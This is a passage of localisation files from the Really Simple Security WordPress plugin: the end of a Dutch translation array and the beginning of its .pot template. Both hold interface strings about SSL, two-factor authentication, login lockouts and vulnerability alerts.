Pro.','This will send emails about vulnerabilities directly from your server. Make sure you can receive emails by the testing a preview below. If this feature is disabled, please enable notifications under general settings.'=>'Dit zal e-mails over kwetsbaarheden rechtstreeks vanaf je server verzenden. Zorg ervoor dat je e-mails kunt ontvangen door een voorbeeld hieronder te testen. Als deze functie is uitgeschakeld, schakel dan meldingen in onder algemene instellingen.','Threshold'=>'Drempel','Time left'=>'Resterende tijd','Timor-Leste'=>'Oost-Timor','To ensure all traffic passes through SSL, please enable a 301 redirect.'=>'Schakel de 301 redirect in om er zeker van te zijn dat al het verkeer over SSL wordt geladen.','To safely enable SSL on your server configuration, you should add the following line of code to your wp-config.php.'=>'Om SSL veilig op je server te activeren, dien je de volgende regel code aan de wp-config.php toe te voegen.','To use certain features in Really Simple Security we need to confirm emails are delivered without issues.'=>'Om bepaalde functies in Really Simple Security te kunnen gebruiken moeten we bevestigen dat e-mail zonder problemen worden afgeleverd.','Togo'=>'Togo','Tokelau'=>'Tokelau','Token not generated. Please complete the previous step.'=>'Token niet gegenereerd. Voltooi de vorige stap.','Token not received yet.'=>'Token nog niet ontvangen.','Token successfully retrieved. Click the refresh button if it\'s not visible yet.'=>'Token succesvol opgehaald. Klik op de Vernieuwen knop als deze nog niet zichtbaar is.','Tonga'=>'Tonga','Too many files with insecure permissions to fix. Please contact your hosting provider.'=>'Te veel bestanden met onveilige rechten om te repareren. Neem contact op met je hostingprovider.','Too many invalid verification codes, you can try again in %s. This limit protects your account against automated attacks.'=>'Te veel ongeldige verificatiecodes, je kunt het opnieuw proberen in %s. Deze limiet beschermt je account tegen geautomatiseerde aanvallen.','Trigger Captcha on lockout'=>'Captcha activeren bij lockout','Trigger captcha on failed login attempt'=>'Captcha triggeren bij mislukte inlogpoging','Trinidad and Tobago'=>'Trinidad en Tobago','Trusted'=>'Vertrouwd','Trusted IP addresses'=>'Vertrouwde IP-adressen','Trying to create directory in root of website.'=>'Proberen een folder in de root van de site aan te maken.','Tunisia'=>'Tunesië','Turkey'=>'Turkije','Turkmenistan'=>'Turkmenistan','Turks and Caicos Islands'=>'Turks- en Caicoseilanden','Tuvalu'=>'Tuvalu','Two years (required for preload)'=>'Twee jaar (vereist voor preload)','Two-Factor Authentication'=>'Tweefactorauthenticatie','Two-Factor Authentication adds an extra layer of security to your account. You can enable it here.'=>'Tweefactorauthenticatie vormt een extra beveiligingslaag voor je account. Je kunt het hier configureren.','Two-Factor Authentication enabled for administrators.'=>'Tweefactorauthenticatie is ingeschakeld voor beheerders.','Two-Factor Authentication for TOTP failed. No Authentication code provided, please try again.'=>'Tweefactorauthenticatie met TOTP is mislukt. Er is geen authenticatiecode opgegeven, probeer het opnieuw.','Two-Factor Authentication is mandatory for your account, so you need to make a selection.'=>'Tweefactorauthenticatie is verplicht voor je account, dus je moet een selectie maken.','Two-Factor Backup Codes for %s'=>'Tweefactor back-up codes voor %s','Two-Factor authentication allows users to login using a second authentication method, other than their e-mail address and password. It is one of the most powerful ways to prevent account theft.'=>'Met Tweefactorauthenticatie kunnen gebruikers inloggen met een tweede authenticatiemethode, naast het e-mailadres en wachtwoord. Het is een van de krachtigste manieren om het loginproces te beveiligen.','Two-Factor: You are out of backup codes and need to <a href="%s">regenerate!</a>'=>'Tweefactor: Je back-upcodes zijn verbruikt,  <a href="%s">genereer</a> meteen nieuwe codes.','Type'=>'Type','Uganda'=>'Oeganda','Ukraine'=>'Oekraïne','Unable to connect to cPanel'=>'Kan geen verbinding maken met cPanel','Unable to enable Backup Codes provider for this user.'=>'Kan Backup Codes niet inschakelen voor deze gebruiker.','Unable to enable TOTP provider for this user.'=>'Kan TOTP niet inschakelen voor deze gebruiker.','Unable to save Two Factor Authentication code. Please re-scan the QR code and enter the code provided by your application.'=>'Two Factor Authentication code kan niet worden opgeslagen. Scan de QR-code opnieuw en voer de code in die door je applicatie wordt getoond.','Unauthorized administrators'=>'Niet geautotiseerde beheerders','Unblock link sent'=>'Deblokkeer link verzonden','Unblock link sent to %s'=>'Deblokkeer link verzonden naar %s','United Arab Emirates'=>'Verenigde Arabische Emiraten','United Kingdom'=>'Verenigd Koninkrijk','United States'=>'Verenigde Staten','United States Minor Outlying Islands'=>'United States Minor Outlying Islands','Unknown event'=>'Onbekende gebeurtenis','Unlimited activations available.'=>'Ongelimiteerd aantal activaties beschikbaar','Unlock Account'=>'Account ontgrendelen','Unset X-Powered-By header'=>'X-Powered-By header uitschakelen','Update Alert: %s'=>'Update waarschuwing: %s','Upgrade'=>'Upgrade','Upgrade to a %s5 sites or Agency%s license.'=>'Upgrade naar een %s5-sites of Agency%s licentie.','Upgrade to an %sAgency%s license.'=>'Upgrade naar een %sAgency%s licentie.','Upgrading...'=>'Upgraden...','Uploads folder not writable.'=>'Uploads map niet schrijfbaar.','Uruguay'=>'Uruguay','Use an authenticator app on your mobile device to generate a code.'=>'Gebruik een authenticatie app op je telefoon om een code te genereren.','Use your authenticator app like Google Authenticator to scan the QR code below, then paste the provided Authentication code. %s'=>'Gebruik je authenticatie app zoals Google Authenticator om de QR-code hieronder te scannen en voer de gegeven authenticatie code in. %s','User'=>'Gebruiker','User %s added to permanent blocklist'=>'Gebruiker %s toegevoegd aan permanente blocklist','User %s added to temporary blocklist'=>'Gebruiker %s toegevoegd aan tijdelijke blocklist','User %s added to trusted  IP list'=>'Gebruiker %s toegevoegd aan vertrouwde IP-lijst','User %s removed from permanent blocklist'=>'Gebruiker %s verwijderd van permanente blocklist','User %s removed from temporary blocklist'=>'Gebruiker %s verwijderd uit tijdelijke blocklist','User %s removed from trusted IP list'=>'Gebruiker %s verwijderd van vertrouwde IP-lijst','User added to blocklist'=>'Gebruiker toegevoegd aan blocklist','User added to trusted list'=>'Gebruiker toegevoegd aan vertrouwde lijst','User locked out'=>'Gebruiker buitengesloten','User removed from blocklist'=>'Gebruiker verwijderd uit de blocklist','User removed from trusted list'=>'Gebruiker verwijderd van vertrouwde lijst','User role'=>'Gebruikersrol','User roles for password change'=>'Gebruikersrollen voor wachtwoord veranderen','Username'=>'Gebruikersnaam','Username \'admin\' has been changed to %s'=>'Gebruikersnaam \'admin\' is veranderd naar %s','Users'=>'Gebruikers','Users trying to enter via /wp-admin or /wp-login.php will be redirected to this URL.'=>'Gebruikers die proberen binnen te komen via /wp-admin of /wp-login.php worden omgeleid naar deze URL.','Uzbekistan'=>'Oezbekistan','Valid license for %s.'=>'Geldige licentie voor %s.','Valid until %s.'=>'Geldig tot %s.','Validating license...'=>'Licentie valideren...','Vanuatu'=>'Vanuatu','Venezuela'=>'Venezuela','Verification Code:'=>'Verificatiecode:','Verify email'=>'E-mail verifiëren','Verify your email'=>'Bevestig je e-mail','Verify your email address to get the most out of Really Simple Security.'=>'Verifieer je e-mailadres om het meeste uit Really Simple Security te verkrijgen.','Verify your website'=>'Verifieer je website','Viet Nam'=>'Vietnam','View'=>'Bekijk','View Dashboard'=>'Naar Dashboard','View settings page'=>'Bekijk de instellingenpagina','View vulnerabilities'=>'Bekijk kwetsbaarheden','Virgin Islands, British'=>'Britse Maagdeneilanden','Virgin Islands, U.s.'=>'Maagdeneilanden, V.S.','Visit Dashboard'=>'Bezoek dashboard','Vulnerabilities'=>'Kwetsbaarheden','Vulnerabilities Overview'=>'Overzicht van kwetsbaarheden','Vulnerabilities detected'=>'Kwetsbaarheden gedetecteerd','Vulnerability Alert: %s'=>'Kwetsbaarheid waarschuwing: %s','Vulnerability Measures'=>'Kwetsbaarheid maatregelen','Vulnerability scan'=>'Kwetsbaarheden','Vulnerability scanning is enabled.'=>'Scannen op kwetsbaarheden is ingeschakeld.','Vulnerability: %s'=>'Kwetsbaarheid: %s','Wallis and Futuna'=>'Wallis en Futuna','Warning'=>'Waarschuwing','Warning: There has been %1$s failed login attempt on your account without providing a valid two-factor token. The last failed login occurred %2$s ago. If this wasn\'t you, you should reset your password.'=>'Waarschuwing: Er heeft zich %1$s mislukte inlogpoging voorgedaan op je account, waar het wachtwoord succesvol is ingevuld maar geen geldige tweefactor code. De laatste mislukte inlogpoging vond %2$s geleden plaats. Als jij dit niet was, zou je een nieuw wachtwoord moeten instellen.' . "\0" . 'Waarschuwing: Er zijn %1$s mislukte inlogpogingen geweest op je account, waar het wachtwoord succesvol is ingevuld maar geen geldige tweefactor code. De laatste mislukte inlogpoging vond %2$s geleden plaats. Als jij dit niet was, zou je een nieuw wachtwoord moeten instellen.','Warning: This password has been found in %d data breaches. Please choose a different password.'=>'Waarschuwing: Dit wachtwoord is gevonden in %d datalekken. Kies een ander wachtwoord.','Warnings'=>'Waarschuwingen','We detected suspected bots triggering large numbers of 404 errors on your site.'=>'We detecteerden waarschijnlijk bots die grote aantallen 404-fouten op je site veroorzaken.','We have detected administrator roles where the login and display names are the same.'=>'We hebben beheerders gevonden waarbij de login en weergave naam gelijk zijn.','We have detected the %s plugin on your website.'=>'We hebben de %s plugin op je site gedetecteerd.','We have not detected any known hosting limitations.'=>'We hebben geen bekende hosting beperkingen gedetecteerd.','We have tried to make our Wizard as simple and fast as possible. Although these questions are all necessary, if there’s any way you think we can improve the plugin, please let us %sknow%s!'=>'We hebben geprobeerd om onze Wizard zo simpel en snel mogelijk te maken. Hoewel deze vragen allemaal noodzakelijk zijn, %slaat het ons weten%s als er een manier is waarop je denkt dat we de plugin kunnen verbeteren!','We recommend to enable Two-Factor Authentication at least for administrators.'=>'We raden aan om in ieder geval voor beheerders Tweefactor authenticatie in te schakelen.','We think you will like this'=>'We denken dat je dit interessant zult vinden','We will initiate %s automatic update cycles, in the next %s hours, to mitigate available vulnerabilities.'=>'We starten %s automatische updatecycli in de komende %s uur om de kwetsbaarheden te verhelpen.','We will initiate a quarantine cycle in the next %s hours to mitigate available vulnerabilities.'=>'We zullen in de komende %s uur een quarantainecyclus starten om de kwetsbaarheden te verhelpen.','We\'re sorry!'=>'Sorry!','We\'re sorry.'=>'Het spijt ons.','Welcome to Really Simple Security'=>'Welkom bij Really Simple Security','Western Sahara'=>'Westerlijke Sahara','Why Premium Support?'=>'Waarom Premium ondersteuning?','Why did I receive this email?'=>'Waarom heb ik deze e-mail ontvangen?','Widget area'=>'Widget ruimte','Widget area "%s"'=>'Widget gebied "%s"','Widget with mixed content'=>'Widget met mixed content','Will run a frequent update process on vulnerable components.'=>'Zal een frequent update proces uitvoeren op kwetsbare componenten.','WordPress 301 redirect enabled. We recommend to enable a 301 .htaccess redirect.'=>'WordPress 301 redirect ingeschakeld. We raden aan om de .htaccess 301 redirect te activeren.','Write these down!  Once you navigate away from this page, you will not be able to view these codes again.'=>'Schrijf deze op!  Zodra je deze pagina verlaat, kun je deze codes niet meer bekijken.','XML-RPC'=>'XML-RPC','XML-RPC authentication failed'=>'XML-RPC authenticatie mislukt','XML-RPC authentication successful'=>'XML-RPC authenticatie geslaagd','XML-RPC is a mechanism originally implemented into WordPress to publish content without the need to actually login to the backend. It is also used to login to WordPress from devices other than desktop, or the regular wp-admin interface.'=>'XML-RPC is een oorspronkelijk in WordPress geïmplementeerd mechanisme om inhoud te publiceren zonder dat je daarvoor hoeft in te loggen op de backend. Het wordt ook gebruikt om in te loggen op WordPress vanaf andere apparaten dan desktop of de gewone wp-admin interface.','XML-RPC with Learning Mode'=>'XML-RPC met zelflerende modus','Yemen'=>'Yemen','Yes (don\'t set header)'=>'Ja (header niet instellen)','You already have a valid SSL certificate.'=>'Je hebt reeds een geldig SSL certificaat.','You already have free SSL on your hosting environment.'=>'Je hebt al een gratis SSL certificaat via je hosting omgeving.','You are using Really Simple Security Pro single site on a multisite environment. Please install Really Simple Security multisite networkwide for multisite support.'=>'Je hebt Really Simple Security Pro Single Site geïnstalleerd op een Multisite-omgeving. Gebruik Really Simple Security Pro Multisite voor ondersteuning voor Multisite omgevingen.','You are using W3 Total Cache with Disk: Enhanced setting. This can prevent Security headers from being properly loaded.'=>'Je gebruikt W3 Total Cache met Disk: Enhanced instelling. Hierdoor kunnen Security Headers niet goed worden geladen.','You are using the Really Simple Security Shell Exec add on, but your current version needs to be updated.'=>'Je gebruikt de Really Simple Security Shell Exec add-on, maar je huidige versie moet worden geüpdatet.','You can add any non-existing username to this table, to instantly block IP addresses that try common usernames like "admin".'=>'Je kunt elke niet-bestaande gebruikersnaam toevoegen aan deze tabel, om direct IP-adressen te blokkeren die veelgebruikte gebruikersnamen zoals "admin" proberen.','You can also use our ‘Quarantine’ option to automate this process in the future.'=>'Je kunt ook onze \'Quarantaine\' optie gebruiken om dit proces in de toekomst te automatiseren.','You can choose to automate the most common actions for a vulnerability. Each action is set to a minimum risk level, similar to the notifications. Please read the instructions to learn more about the process.'=>'Je kunt ervoor kiezen om de meest voorkomende acties voor een kwetsbaarheid te automatiseren. Elke actie is ingesteld op een minimum risiconiveau, vergelijkbaar met de meldingen. Lees de instructies om meer te weten te komen over het proces.','You can easily block countries, or entire continents. You can act on the event log below and see which countries are suspicious, or exclude all countries but your own.'=>'Je kunt eenvoudig landen of hele continenten blokkeren. Je kunt het event log hieronder gebruiken en zien welke landen verdacht zijn, of alle landen behalve je eigen land uitsluiten.','You can edit the source file manually by pressing the edit button.'=>'Je kunt het bronbestand handmatig aanpassen via de \'aanpassen\' knop.','You can find your Plesk username and password in %s'=>'Je kunt je Plesk gebruikersnaam en wachtwoord vinden in %s','You can find your api key %shere%s (make sure you\'re logged in with your main account).'=>'Je kunt je API-sleutel %shier%s vinden. (Zorg ervoor dat je met je hoofdaccount bent ingelogd).','You can follow these %sinstructions%s.'=>'Je kunt deze %sinstructies%s volgen.','You can indefinitely block known abusive IP addresses, to completely prevent them from trying to login.'=>'Je kunt bekende misbruikende IP-adressen voor onbepaalde tijd blokkeren, zodat ze niet meer kunnen inloggen.','You can prevent IP addresses from being temporarily blocked by adding them to this list. This can be convenient if you share an IP address with other site users. Usernames that trigger false logins will still be blocked.'=>'Je kunt voorkomen dat IP-adressen tijdelijk worden geblokkeerd door ze aan deze lijst toe te voegen. Dit kan handig zijn als je een IP-adres deelt met andere sitegebruikers. Gebruikersnamen die valse aanmeldingen veroorzaken worden nog steeds geblokkeerd.','You can prevent usernames from being temporarily blocked by adding them to this list. The IP address that triggers false logins will still be blocked.'=>'Je kunt voorkomen dat gebruikersnamen tijdelijk worden geblokkeerd door ze aan deze lijst toe te voegen. Het IP-adres dat foutieve inlogpogingen veroorzaakt zal nog steeds worden geblokkeerd.','You can protect your account with a second authentication layer. Please choose one of the following methods, or click %s if you don’t want to use Two-Factor Authentication.'=>'Je kunt je account beschermen met een tweede authenticatielaag. Kies één van de volgende methoden of klik op %s wanneer je geen tweefactorauthenticatie wilt gebruiken.','You can renew your license on your %saccount%s.'=>'Je kunt je licentie verlengen via je %saccount%s.','You can reset the report and generate a new snapshot, for example if you made changes via FTP.'=>'Je kunt het rapport resetten en een nieuwe snapshot genereren, bijvoorbeeld als je wijzigingen hebt aangebracht via FTP.','You can upgrade on your %saccount%s.'=>'Je kunt upgraden via je %saccount%s','You do not have any activations left on your Really Simple Security Pro license. Please upgrade your plan for additional activations.'=>'Je hebt geen activaties meer over op je Really Simple Security Pro licentie. Upgrade je abonnement voor extra activaties.','You have %s critical vulnerability'=>'Je hebt %s kritieke kwetsbaarheid' . "\0" . 'Je hebt %s kritieke kwetsbaarheden','You have %s high-risk vulnerability'=>'Je hebt %s hoog risico kwetsbaarheid' . "\0" . 'Je hebt %s hoog risico kwetsbaarheden','You have %s low-risk vulnerability'=>'Je hebt %s laag risico kwetsbaarheid' . "\0" . 'Je hebt %s laag risico kwetsbaarheden','You have %s medium-risk vulnerability'=>'Je hebt %s medium risico kwetsbaarheid' . "\0" . 'Je hebt %s medium risico kwetsbaarheden','You have %s open hardening feature.'=>'Je hebt %s open Hardening functie.' . "\0" . 'Je hebt %s open Hardening functies.','You have a lifetime license.'=>'Je hebt een lifetime licentie.','You have changed your login URL'=>'Je hebt je login URL gewijzigd','You have enabled GEO IP, but the GEO IP database hasn\'t been downloaded automatically. If you continue to see this message, download the file from %1$sReally Simple Security CDN%2$s, unzip it, and put it in the %3$s folder in your WordPress uploads directory'=>'Je hebt GEO IP ingeschakeld, maar de GEO IP database is niet automatisch gedownload. Als je deze melding blijft zien, download dan het bestand van %1$sReally Simple Security CDN%2$s, pak het uit en plaats het in de %3$s map in je WordPress uploads map','You have enabled a feature on %s. We think it\'s important to let you know a little bit more about this feature so you can use it without worries.'=>'Je hebt een functie ingeschakeld op %s. We vinden het belangrijk om je iets meer te vertellen over deze functie, zodat je deze zonder zorgen kunt gebruiken.','You have enabled the "Rename and randomize your database prefix" option, but the attempt to do this has failed. The option has been disabled.'=>'Je hebt de optie "Hernoem en randomiseer je databaseprefix" ingeschakeld, maar dit is helaas mislukt. De optie is uitgeschakeld.','You have installed Really Simple Security Pro. We have deactivated and removed the free plugin.'=>'Je hebt Really Simple Security Pro geïnstalleerd. We hebben de gratis plugin gedeactiveerd en verwijderd.','You have logged in successfully.'=>'Je bent succesvol ingelogd.','You have requested the login URL for your website. You can log in on %s.'=>'Je hebt de login URL voor je website opgevraagd. Je kunt inloggen op %s.','You have set a 301 redirect to SSL. This is important for SEO purposes'=>'Je hebt een 301 redirect naar SSL ingesteld. Dit is belangrijk voor SEO doeleinden','You may need to login in again, have your credentials prepared.'=>'Je moet misschien opnieuw inloggen, dus hou je inloggegevens bij de hand.','You run a Multisite installation with subdomains, but your site doesn\'t have a wildcard certificate.'=>'Je hebt een multisite installatie met subdomeinen, maar de site heeft geen wildcard certificaat.','You run a Multisite installation with subfolders, which prevents this plugin from fixing your missing server variable in the wp-config.php.'=>'Je hebt een Multisite installatie met submappen, deze voorkomt dat de plugin de ontbrekende servervariabele in wp-config.php kan repareren.','You should have the www domain pointed to the same website as the non-www domain.'=>'Je dient het www domein te laten verwijzen naar dezelfde website als het niet-www domein.','You should set the files to 644 permissions, and folders to 755. If you\'re not sure how to do this, please check with your hosting provider for help.'=>'Je zou bestanden 644 permissies moeten geven en mappen 755. Als je niet zeker weet hoe je dit moet doen, neem dan contact op met je hostingprovider voor hulp.','You will have to re-scan the QR code on all devices as the previous codes will stop working.'=>'Je zult de QR code opnieuw moeten scannen op alle apparaten omdat de vorige codes niet meer werken.','You will receive an email warning if changes are detected.'=>'Je ontvangt een waarschuwing per e-mail als er wijzigingen worden gedetecteerd.','You\'re using a feature where email is an essential part of the functionality. Please validate that you can send emails on your server.'=>'Je gebruikt een functie waarbij e-mail een essentieel onderdeel is van de functionaliteit. Controleer of je e-mails kunt verzenden op je server.','Your 2FA grace period expired. Please contact your site administrator to regain access and to configure 2FA.'=>'Je 2FA coulanceperiode is verlopen. Neem contact op met je sitebeheerder om weer toegang te krijgen en 2FA te configureren.','Your Key and Certificate directories are not properly protected.'=>'Je sleutel en certificaat folders zijn niet voldoende beveiligd.','Your Really Simple Security Pro license hasn\'t been activated.'=>'Je Really Simple Security Pro licentie is nog niet geactiveerd.','Your Really Simple Security Pro license is not valid.'=>'Je Really Simple Security Pro licentie is niet geldig.','Your Really Simple Security Pro license key has expired. Please renew your license to continue receiving updates and premium support.'=>'Je Really Simple Security Pro licentie is verlopen. Vernieuw alsjeblieft je licentie om updates en premium ondersteuning te blijven ontvangen.','Your Really Simple Security Pro license key hasn\'t been activated yet. You can activate your license key on the license tab.'=>'Je Really Simple Security Pro licentiecode is nog niet geactiveerd. Je kunt je licentiecode activeren via de licentie tab.','Your Really Simple Security Pro license key is not activated. Please activate your license to continue receiving updates and premium support.'=>'Je Really Simple Security Pro licentie is niet geactiveerd. Activeer alsjeblieft je licentie om updates en premium ondersteuning te blijven ontvangen.','Your SSL certificate will expire soon.'=>'Je SSL certificaat zal binnenkort verlopen.','Your access has been denied due to too many failed login attempts.'=>'Je toegang is geweigerd vanwege te veel mislukte inlogpogingen.','Your access has been denied, please contact the webmaster for support'=>'Je toegang is geweigerd, neem contact op met de webmaster voor ondersteuning','Your access has been denied, too many login attempts'=>'Je toegang is geweigerd, te veel inlogpogingen','Your access to this site has been temporarily denied'=>'Uw toegang tot deze site is tijdelijk geweigerd','Your account is locked'=>'Je account is vergrendeld','Your certificate is valid until: %s'=>'Je certificaat is geldig tot: %s','Your certificate will be renewed and installed automatically.'=>'Je certificaat zal automatisch worden verlengd en geïnstalleerd.','Your certificate will expire on %s.'=>'Je certificaat zal verlopen op %s.','Your certificate will expire on %s. You can renew it %shere%s.'=>'Je certificaat zal verlopen op %s. Je kunt het %shier%s verlengen.','Your domain meets the requirements for Let\'s Encrypt.'=>'Je domein voldoet aan de vereisten voor Let\'s Encrypt.','Your files already were restored.'=>'Je bestanden waren al teruggezet.','Your files were restored.'=>'Je bestanden zijn teruggezet.','Your hosting environment does not allow automatic SSL installation.'=>'Je hostingomgeving staat geen automatische SSL installatie toe.','Your license could not be found in our system. Please contact %ssupport%s.'=>'Je licentie werd niet gevonden in ons systeem. Neem alsjeblieft contact op met %ssupport%s.','Your license has been revoked. Please contact %ssupport%s.'=>'Je licentie is ingetrokken. Neem contact op met %ssupport%s.','Your license is not active for this URL.'=>'Je licentiesleutel is niet geactiveerd voor deze URL.','Your license key expired on %s.'=>'Je licentiesleutel is verlopen op %s.','Your license key has been disabled.'=>'Je licentiesleutel is uitgeschakeld.','Your license key has expired. Please renew your license key on your %saccount%s.'=>'Je licentie is verlopen. Verleng alsjeblieft je licentiecode via je %saccount%s.','Your license key has reached its activation limit.'=>'Je licentiesleutel heeft de activatie limiet bereikt.','Your login URL has changed to {login_url} to prevent common bot attacks on standard login URLs. Learn more about this feature, common questions and measures to prevent any issues.'=>'Je login URL is gewijzigd in {login_url} om veelvoorkomende bot aanvallen op standaard login URL\'s te voorkomen. Meer informatie over deze functie, veel voorkomende vragen en maatregelen om problemen te voorkomen.','Your login confirmation code for %s'=>'Je inlogbevestigingscode voor %s','Your password contains (part of) your (user)name or email address. Choose a different password'=>'Je wachtwoord bevat (een deel van) je (gebruikers)naam of e-mailadres. Kies een ander wachtwoord','Your password has expired. Please change your password.'=>'Je wachtwoord is verlopen. Wijzig alsjeblieft je wachtwoord.','Your password was compromised and has been reset'=>'Je wachtwoord is gecompromitteerd en daarom gereset','Your password was reset because of too many failed Two Factor attempts. You will need to <a href="%s">create a new password</a> to regain access. Please check your email for more information.'=>'Je wachtwoord is gereset vanwege te veel mislukte tweefactor pogingen. Je moet <a href="%s">een nieuw wachtwoord</a> aanmaken om weer toegang te krijgen. Controleer je e-mail voor meer informatie.','Your password will expire in 7 days'=>'Je wachtwoord verloopt over 7 dagen','Your server provides shell functionality, which offers additional methods to install SSL. If installing SSL using the default methods is not possible, you can install the shell add on.'=>'Je server biedt shell functionaliteit, die extra methoden biedt om SSL te installeren. Als SSL installeren met de standaard methoden niet mogelijk is, kun je de shell add-on installeren.','Your site has been configured for the HSTS preload list. If you have submitted your site, it will be preloaded. Click %shere%s to submit.'=>'Je site is geconfigureerd voor de HSTS preload list. Als je je site hebt ingediend zal hij voorgeladen worden. Klik %shier%s om in te dienen','Your site has exceeded the maximum size for HTTP headers. To prevent issues, the Content Security Policy won\'t be added to your HTTP headers.'=>'Je site heeft de maximale grootte voor HTTP-headers overschreden. Om problemen te voorkomen, wordt de Content Security Policy niet toegevoegd aan je HTTP-headers.','Your site is not configured for HSTS yet.'=>'Je site is nog niet geconfigureerd voor HSTS.','Your site is not yet configured for the HSTS preload list.'=>'Je site is nog niet geconfigureerd voor de HSTS preload lijst.','Your site is set to display errors on your website'=>'Je site is ingesteld om fouten weer te geven op je site','Your site redirects 404 pages to the http:// version of your homepage. This can cause mixed content issues with images.'=>'Je site redirect 404 pagina\'s naar de http:// versie van je homepagina. Dit kan mixed content problemen veroorzaken met afbeeldingen.','Your site uses Divi. This can require some additional steps before getting the secure lock.'=>'Je site gebruikt Divi. Dit betekent dat er mogelijk wat extra stappen te nemen zijn voor je het veilig slotje ziet.','Your site uses Elementor. This can require some additional steps before getting the secure lock.'=>'Je site gebruikt Elementor. Dit betekent dat er mogelijk wat extra stappen te nemen zijn voor je het veilig slotje ziet.','Your site uses an outdated version of TLS. Upgrade to TLS 1.2 or TLS 1.3 to keep your site secure.'=>'Je site gebruikt een verouderde versie van TLS. Upgrade naar TLS 1.2 of TLS 1.3 om je site veilig te houden.','Your site uses plain permalinks, which causes issues with the REST API. Please use a different permalinks configuration.'=>'Je site gebruikt eenvoudige permalinks, wat problemen veroorzaakt met de REST API. Gebruik een andere configuratie voor permalinks.','Your verification code expired, click “Resend Code” to receive a new verification code.'=>'Je verificatiecode is verlopen, klik op "Code opnieuw versturen" om een nieuwe verificatiecode te ontvangen.','Your website does not send all essential security headers.'=>'Je site stuurt niet alle essentiële Security Headers.','Your website\'s ip address is blocked. Please add your domain\'s ip address to the security policy in CPanel'=>'Het IP-adres van je site is geblokkeerd. Voeg het IP-adres van je domein toe aan het beveiligingsbeleid in CPanel','Your wp-config.php has to be edited, but is not writable.'=>'Je bestand wp-config.php moet bewerkt worden, maar is niet beschrijfbaar.','Zambia'=>'Zambia','Zimbabwe'=>'Zimbabwe','attempts'=>'pogingen','cached file, deactivate cache to see the actual source'=>'bestand in cache, deactiveer caching om de daadwerkelijke bron te zien','critical'=>'kritiek','day'=>'dag','days'=>'dagen','eg. %s'=>'bijv. %s','file'=>'bestand','forbidden - number in author name not allowed = %s'=>'verboden - nummer in auteursnaam niet toegestaan = %s','hCaptcha'=>'hCaptcha','hCaptcha secret key'=>'hCaptcha geheime sleutel','hCaptcha site key'=>'hCaptcha site sleutel','high-risk'=>'hoog risico','https://really-simple-plugins.com'=>'https://really-simple-plugins.com','https://really-simple-ssl.com'=>'https://really-simple-ssl.com','iFrame in the wp_postmeta database table'=>'iFrame in de wp_postmeta database tabel','low-risk'=>'laag risico','medium-risk'=>'medium risico','mu plugin file'=>'mu-plugin bestand','no response'=>'Geen respons','not set'=>'niet ingesteld','plugin file'=>'plugin bestand','reCaptcha secret key'=>'reCaptcha geheime sleutel','reCaptcha site key'=>'reCaptcha site sleutel','reCaptcha v2'=>'reCaptcha v2','recommended'=>'aanbevolen','theme file'=>'thema bestand','unlimited'=>'ongelimiteerd','uploads file, possibly generated by plugin or theme'=>'Uploads bestand, mogelijk gegenereerd door een plugin of thema']];
really-simple-ssl/languages/really-simple-ssl.pot000064400000742347147510273070016221 0ustar00# Copyright (C) 2024 Really Simple Plugins
# This file is distributed under the GPL2.
msgid ""
msgstr ""
"Project-Id-Version: Really Simple Security Pro 9.1.4\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/really-simple-ssl-pro\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2024-12-10T13:59:11+00:00\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"X-Generator: WP-CLI 2.8.1\n"
"X-Domain: really-simple-ssl\n"

#. Plugin Name of the plugin
msgid "Really Simple Security Pro"
msgstr ""

#. Plugin URI of the plugin
msgid "https://really-simple-ssl.com"
msgstr ""

#. Description of the plugin
msgid "Simple and performant security"
msgstr ""

#. Author of the plugin
msgid "Really Simple Plugins"
msgstr ""

#. Author URI of the plugin
msgid "https://really-simple-plugins.com"
msgstr ""

#: assets/templates/two_fa/expired.php:5
#: assets/templates/two_fa/onboarding.php:47
#: assets/templates/two_fa/profile-settings.php:19
#: assets/templates/two_fa/profile-settings.php:30
#: assets/templates/two_fa/profile-settings.php:35
#: class-site-health.php:55
#: onboarding/class-onboarding.php:396
#: onboarding/class-onboarding.php:437
#: settings/config/menu.php:313
#: settings/config/menu.php:321
#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:93
msgid "Two-Factor Authentication"
msgstr ""

#: assets/templates/two_fa/onboarding.php:51
msgid "This site requires you to secure your account with a second authentication method."
msgstr ""

#: assets/templates/two_fa/onboarding.php:56
msgid "You can protect your account with a second authentication layer. Please choose one of the following methods, or click %s if you don’t want to use Two-Factor Authentication."
msgstr ""

#: assets/templates/two_fa/onboarding.php:59
#: assets/templates/two_fa/onboarding.php:123
msgid "Don't ask again"
msgstr ""

#: assets/templates/two_fa/onboarding.php:70
msgid "Please make sure to configure a method, access to your account will be denied if no method is configured within the next %s days."
msgstr ""

#: assets/templates/two_fa/onboarding.php:75
msgid "Please make sure to configure a method, access to your account will be denied if no method is configured today."
msgstr ""

#: assets/templates/two_fa/onboarding.php:105
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:347
msgid "A verification code has been sent to the email address associated with your account."
msgstr ""

#: assets/templates/two_fa/onboarding.php:107
#: assets/templates/two_fa/profile-settings.php:125
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:344
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:349
msgid "Verification Code:"
msgstr ""

#: assets/templates/two_fa/onboarding.php:115
#: assets/templates/two_fa/profile-settings.php:129
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:354
msgid "Resend Code"
msgstr ""

#: assets/templates/two_fa/onboarding.php:126
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:201
msgid "Skip"
msgstr ""

#: assets/templates/two_fa/onboarding.php:136
msgid "Skip (Only today remaining)"
msgstr ""

#: assets/templates/two_fa/onboarding.php:140
msgid "Skip (%1$d %2$s remaining)"
msgstr ""

#: assets/templates/two_fa/onboarding.php:142
msgid "days"
msgstr ""

#: assets/templates/two_fa/onboarding.php:142
msgid "day"
msgstr ""

#: assets/templates/two_fa/onboarding.php:157
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:254
msgid "Continue"
